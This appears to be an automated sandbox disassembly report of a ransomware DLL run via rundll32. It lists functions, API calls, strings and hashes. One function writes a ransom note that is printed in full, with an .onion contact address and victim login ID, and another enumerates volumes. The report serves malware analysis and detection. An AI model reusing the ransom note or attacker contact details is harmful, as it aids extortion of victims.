Part of subcall function 00007FFDFB612550: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6126C8
Part of subcall function 00007FFDFB612550: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB6126CE

Strings

SubgroupOrder, xrefs: 00007FFDFB61FFF4
NameValuePairs: type mismatch for ', xrefs: 00007FFDFB620061
', trying to retrieve ', xrefs: 00007FFDFB6201A6, 00007FFDFB6201C9
', stored ', xrefs: 00007FFDFB6200AC, 00007FFDFB6200CE
#, xrefs: 00007FFDFB620058

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task
String ID: #$', stored '$', trying to retrieve '$NameValuePairs: type mismatch for '$SubgroupOrder
API String ID: 3936042273-2109496312
Opcode ID: c4285457bcb8eaf1f6c44ed2835d505575c7f69f67cdf9242ded557c4773425e
Instruction ID: 5e6a53666a6c0a688b15a1d8c44212c1a2b83c3e65879ded657307f8e0c3313b
Opcode Fuzzy Hash: c4285457bcb8eaf1f6c44ed2835d505575c7f69f67cdf9242ded557c4773425e
Instruction Fuzzy Hash: CBF18062B19B8685FB10CB68E454BAD7761FB45798F509631DEAC07BEADF78E180C300

Function 00007FFDFB6B2370 Relevance: 18.1, APIs: 12, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B237F
FlsGetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2394
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B23B5
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B23E2
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B23F3
FlsSetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2404
SetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B241F
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B2455
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B2474

Part of subcall function 00007FFDFB6B3F60: HeapAlloc.KERNEL32(?,?,00000000,00007FFDFB6B254A,?,?,?,00007FFDFB6A5A45,?,?,?,?,00007FFDFB6B400C), ref: 00007FFDFB6B3FB5

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B249C

Part of subcall function 00007FFDFB6B3FD8: HeapFree.KERNEL32 ref: 00007FFDFB6B3FEE
Part of subcall function 00007FFDFB6B3FD8: GetLastError.KERNEL32 ref: 00007FFDFB6B3FF8

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B24AD
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F), ref: 00007FFDFB6B24BE

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: e3e662c3da0e08dd8ebbaf31932d869f72199596f262619335b09a60d5b418ed
Instruction ID: bd41e55bceba8921e15cb83318f2414a0ae2ed4775e5366e1d667ecb878bfcad
Opcode Fuzzy Hash: e3e662c3da0e08dd8ebbaf31932d869f72199596f262619335b09a60d5b418ed
Instruction Fuzzy Hash: E2416C21B0B60781FB5CB735997597925A19F447B8F088734D83E0EAFFDE2CB4414A00

Function 00007FFDFB61CED0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 261COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB61D0EE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61D0FA
FindFirstVolumeW.KERNEL32 ref: 00007FFDFB61D15A
GetVolumePathNamesForVolumeNameW.KERNEL32 ref: 00007FFDFB61D179
GetVolumeInformationW.KERNEL32 ref: 00007FFDFB61D1AE
FindNextVolumeW.KERNEL32 ref: 00007FFDFB61D2B6
FindVolumeClose.KERNEL32 ref: 00007FFDFB61D2C7

Strings

, xrefs: 00007FFDFB61D257

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Volume$Find$CloseConcurrency::cancel_current_taskFirstInformationNameNamesNextPath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3907838966-3916222277
Opcode ID: a0be234b5014ce090f77ea89ae037b73a9521eff959d38ca1658858dd0cbd34d
Instruction ID: f3528c39fb0bfacf3245b551cb43073bc70c005794af1bf666f78c2183c5102c
Opcode Fuzzy Hash: a0be234b5014ce090f77ea89ae037b73a9521eff959d38ca1658858dd0cbd34d
Instruction Fuzzy Hash: 29B1A132719B8695EB209F25E450BA973A4FB44B94F545235EBAC4BBE8DF3CD185C300

Function 00007FFDFB6276C0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 324COMMON

Download Yara Rule

APIs

_Mtx_unlock.LIBCPMT ref: 00007FFDFB62777E

Part of subcall function 00007FFDFB666CF0: QueryPerformanceFrequency.KERNEL32 ref: 00007FFDFB666D05

Part of subcall function 00007FFDFB666CD4: QueryPerformanceCounter.KERNEL32 ref: 00007FFDFB666CDD

_Xtime_get_ticks.LIBCPMT ref: 00007FFDFB62782E
_Thrd_sleep.LIBCPMT ref: 00007FFDFB627891
_Mtx_unlock.LIBCPMT ref: 00007FFDFB6279DB
_Mtx_unlock.LIBCPMT ref: 00007FFDFB627AE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB627B20
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB627B44

Strings

CryptoMaterial: this object contains invalid values, xrefs: 00007FFDFB627B8B

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Mtx_unlock$PerformanceQuery_invalid_parameter_noinfo_noreturn$CounterFrequencyThrd_sleepXtime_get_ticks
String ID: CryptoMaterial: this object contains invalid values
API String ID: 1471401167-887990677
Opcode ID: be6c7caa8d6ffd919052316b50473a267f3b448a52ab006923712c8efd3c9bd0
Instruction ID: 063079a1247735e1ef31febe87030ca990310e643fcdfa4d9fc565f514b493e2
Opcode Fuzzy Hash: be6c7caa8d6ffd919052316b50473a267f3b448a52ab006923712c8efd3c9bd0
Instruction Fuzzy Hash: E6D1C322B0AB4285FB00DB65D425BBC23A2AB45B98F449135DE6D1FBE9DE3CE455C340

Function 00007FFDFB61D300 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 211fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFDFB61D501
WriteFile.KERNEL32 ref: 00007FFDFB61D52D
CloseHandle.KERNEL32 ref: 00007FFDFB61D536
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61D605
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61D60B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB61D617
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFDFB61D61D

Strings

ATTENTION!Your network has been breached and all data was encrypted. Please contact us at:https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352*!* To access .onion websites downlo, xrefs: 00007FFDFB61D523

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$File$CloseConcurrency::cancel_current_taskCreateHandleWrite
String ID: ATTENTION!Your network has been breached and all data was encrypted. Please contact us at:https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352*!* To access .onion websites downlo
API String ID: 4179707304-284267295
Opcode ID: 0a3d78db83e2d4387c8b3531ebd2083b82c7eb3e7e1a9ef69cbce9305c8a4455
Instruction ID: 3e67efc702f3a6c800278b49ea60c7962943217c77d5f41df572abff1289f677
Opcode Fuzzy Hash: 0a3d78db83e2d4387c8b3531ebd2083b82c7eb3e7e1a9ef69cbce9305c8a4455
Instruction Fuzzy Hash: D9919A22B1AB42A5EB00DB64E464BAD2361FB44BA8F405635DE7C0BBE9DF3CE155C344

Function 00007FFDFB66E0D4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 00007FFDFB66E136
_Maklocstr.LIBCPMT ref: 00007FFDFB66E157
_Yarn.LIBCPMT ref: 00007FFDFB66E177
_Maklocstr.LIBCPMT ref: 00007FFDFB66E198
_Maklocstr.LIBCPMT ref: 00007FFDFB66E1AD

Strings

:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FFDFB66E147
:AM:am:PM:pm, xrefs: 00007FFDFB66E1A6
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December, xrefs: 00007FFDFB66E188

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Maklocstr$Yarn
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:December$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 3000050306-35662545
Opcode ID: bb435f3461908c6bc7545eb5b9b083cdcc514664d8ac35b2dd9c078b3655ba4e
Instruction ID: 19625a60c5cb34a67c05eafbcd710c45d1d57868b73ed30403090a99694f6789
Opcode Fuzzy Hash: bb435f3461908c6bc7545eb5b9b083cdcc514664d8ac35b2dd9c078b3655ba4e
Instruction Fuzzy Hash: FB217122B05B8285EB10DF21D8606B873A5EB89B84F498131EE5D0B7AADF3CE141C740

Function 00007FFDFB66E1D4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 00007FFDFB66E22D
std::_Maklocwcs.LIBCPMT ref: 00007FFDFB66E249
_Yarn.LIBCPMT ref: 00007FFDFB66E269
std::_Maklocwcs.LIBCPMT ref: 00007FFDFB66E285
std::_Maklocwcs.LIBCPMT ref: 00007FFDFB66E295

Strings

:AM:am:PM:pm, xrefs: 00007FFDFB66E28A
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday, xrefs: 00007FFDFB66E23E
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece, xrefs: 00007FFDFB66E27A

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Maklocwcsstd::_$Yarn
String ID: :AM:am:PM:pm$:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep:September:Oct:October:Nov:November:Dec:Dece$:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
API String ID: 1194159078-3743323925
Opcode ID: 2edcc16fb1651a0697ef98c0d724ee6b5fe7fc4eeca611872489e7892f280f97
Instruction ID: a1c1ca9d43e2183fb1a0c825512f1fb4851f64ed3398ba2433f254ff2eda24be
Opcode Fuzzy Hash: 2edcc16fb1651a0697ef98c0d724ee6b5fe7fc4eeca611872489e7892f280f97
Instruction Fuzzy Hash: 7E213222B06B4686EB10DB21E5616B973A5EB89B80F448135EB5D4B7AADF3CE445C700

Function 00007FFDFB6C3F58 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFB6C3B38: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3B79
Part of subcall function 00007FFDFB6C3B38: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3BF9
Part of subcall function 00007FFDFB6C3B38: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C3C4D
Part of subcall function 00007FFDFB6C3B38: _get_daylight.LIBCMT ref: 00007FFDFB6C3CA5

CreateFileW.KERNEL32 ref: 00007FFDFB6C405E
CreateFileW.KERNEL32 ref: 00007FFDFB6C40AE
GetLastError.KERNEL32 ref: 00007FFDFB6C40DE
GetFileType.KERNEL32 ref: 00007FFDFB6C40F3
GetLastError.KERNEL32 ref: 00007FFDFB6C40FD
CloseHandle.KERNEL32 ref: 00007FFDFB6C4130
CloseHandle.KERNEL32 ref: 00007FFDFB6C4294
CreateFileW.KERNEL32 ref: 00007FFDFB6C42C9
GetLastError.KERNEL32 ref: 00007FFDFB6C42D8

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type_get_daylight
String ID:
API String ID: 1330151763-0
Opcode ID: 15a97c067439d7dca76b4ea444b0a61be5cdb76c53a355cc2e5045a731a241d0
Instruction ID: a1f0de1b9163a06a61607a1cb1f99c9ba8fd00f2ed0e25c108b40f31c369357e
Opcode Fuzzy Hash: 15a97c067439d7dca76b4ea444b0a61be5cdb76c53a355cc2e5045a731a241d0
Instruction Fuzzy Hash: E3C1C172B29A4285EB50DF65C4A0ABC3771FB49BA9B015235DB2E5B7E9CF38D052C340

Function 00007FFDFB6A4FE0 Relevance: 12.7, APIs: 3, Strings: 4, Instructions: 489COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6A5024
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6A53FC
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6A56A7

Strings

p, xrefs: 00007FFDFB6A514E
p, xrefs: 00007FFDFB6A50D6
0, xrefs: 00007FFDFB6A544C
f, xrefs: 00007FFDFB6A5146

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$f$p$p
API String ID: 3215553584-1202675169
Opcode ID: 1d5877ec511bb62d69f68d833dedc7a242cde2766f0ec99f39d2603f69948c29
Instruction ID: 82303f3ae6a32ead47f72d967604135a9f79c9bdca5c39ff5741c93fa6eeb3d3
Opcode Fuzzy Hash: 1d5877ec511bb62d69f68d833dedc7a242cde2766f0ec99f39d2603f69948c29
Instruction Fuzzy Hash: A212B462F1E14386FF24EA14E074A7D7659FB92B54F944031E6A94F6ECDE7CE8808B10

Function 00007FFDFB613690 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 405COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB613955

Part of subcall function 00007FFDFB6676B8: std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB6676D5
Part of subcall function 00007FFDFB6676B8: std::locale::_Setgloballocale.LIBCPMT ref: 00007FFDFB6676F8
Part of subcall function 00007FFDFB6676B8: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB667793

std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB613A07
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FFDFB613A4A

Part of subcall function 00007FFDFB66782C: _Yarn.LIBCPMT ref: 00007FFDFB66785A

std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB613AF1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FFDFB613B35
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FFDFB613B60

Strings

J, xrefs: 00007FFDFB613961

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_Locinfo_ctorSetgloballocaleYarn_invalid_parameter_noinfo_noreturnstd::locale::_
String ID: J
API String ID: 2192681959-3962827965
Opcode ID: 1999cc78455ce03d5098e5e38e923bcce177bd662722024601b04adb7475ed8d
Instruction ID: 57b20b41ffda746e768331066deea93af7b7a6da8338059113f14e952eda603f
Opcode Fuzzy Hash: 1999cc78455ce03d5098e5e38e923bcce177bd662722024601b04adb7475ed8d
Instruction Fuzzy Hash: 08F1B332B0AB82A6EB14DF65E4606AD33A4FB44B84F045535DF6D1BBA9DF38E061C344

Function 00007FFDFB65BED0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 00007FFDFB65BEF5
GetLastError.KERNEL32 ref: 00007FFDFB65BF1C

Strings

Timer: QueryPerformanceFrequency failed with error , xrefs: 00007FFDFB65C02C
Timer: QueryPerformanceCounter failed with error , xrefs: 00007FFDFB65BF38

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

